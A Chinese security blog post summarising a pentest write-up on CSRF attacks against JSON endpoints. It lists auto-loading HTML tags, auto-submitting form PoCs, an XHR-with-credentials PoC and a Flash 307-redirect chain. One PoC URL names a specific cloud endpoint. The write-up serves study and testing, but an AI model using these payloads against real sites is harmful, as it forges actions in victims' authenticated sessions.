每日一洞 | 一次渗透测试引发的Json格式下CSRF攻击的探索

文章链接：https://xz.aliyun.com/t/7911（0xdawn 师傅）

文章分析：

csrf漏洞需要我们自己构造get或者post型去提交请求，在这篇文章中有以下一些思路：

get型（一些属性标签在访问的时候会自动加载）：

<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url=">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<embed src="">
<audio src="">
<video src="">
<a href="">
<table background="">

以及CSS样式中的：
@import""
background:("url")

post型（需要自己构造提交表单）

<html>
<head>
    <title>
        post data
    </title>    
</head>
<body>
<form id="id" method="post" action="https://www.xxx.com/submit">
</form>
<script>
    var id = document.getElementById("id");
    id.submit();
</script>
</body>
</html>

真实场景（公有云多处有csrf）

一：作者在外网create access key 和 delete access key的时候遇到了csrf和没有较大危害的越权，这个比较常规

二：作者在测试内网域的时候也碰到了csrf,但是提交的数据为json格式，如果常规poc的话会415，poc如下

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://xxxxxx/simauth/app/updateAppInfo" method="POST" enctype="text/plain">
      <input type="hidden" name="{"appId":"300016001555","appName":"0xdawnnn"}" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

思路一：尝试去闭合json

首先抓包看到了下面的情况：

这里我们就要想办法去除引号，结合poc,其实是value后面的=所以尝试去闭合如下：

<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />

这时候抓包发现闭合了，但是发现还是415，对比发现原始数据包中的content-type:application/json,而我们自己写的poc,enctype="text/plain"于是将其在poc中修改为application/json后发现数据包如下

发现格式变成了如上，然后再将正常的书包提交，发现对content-type进行了校验

思路二：通过xhr提交

poc

当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时，浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法，
然后根据服务端响应允许才发送真正的请求。 
然而如果服务端对Content-Type进行校验，则不会响应这个OPTIONS请求，从而利用失败,所以这里没用。
<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});
    }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();"/>
    </form>
  </body>
</html>

思路三：借用flash，利用307跳转实现csrf(这个思路有点迷)

1制作一个flash文件

2制作一个跨域xml文件

3制作一个具有307状态码的php文件

参考：https://github.com/sp1d3r/swf_json_csrf
poc:
https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php
整个攻击链

1、受害者访问POC，向attacter.com发起一条swf请求，swf向307.php发送HTTP POST请求。

2、attacter.com的307.php发起307跳转，跳转到victim.com，注意307跳转会带着http请求方式，header和postdata进行跳转。

3、victim.com收到一条POST请求，并且Content-Type为application/json。

4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行，导致跨域。并且victim.com能收到crossdomain.xml请求，也证明了第三步的POST请求是Flash发出，而不是307.php发出。

每日一洞 | 一次渗透测试引发的Json格式下CSRF攻击的探索

猜你喜欢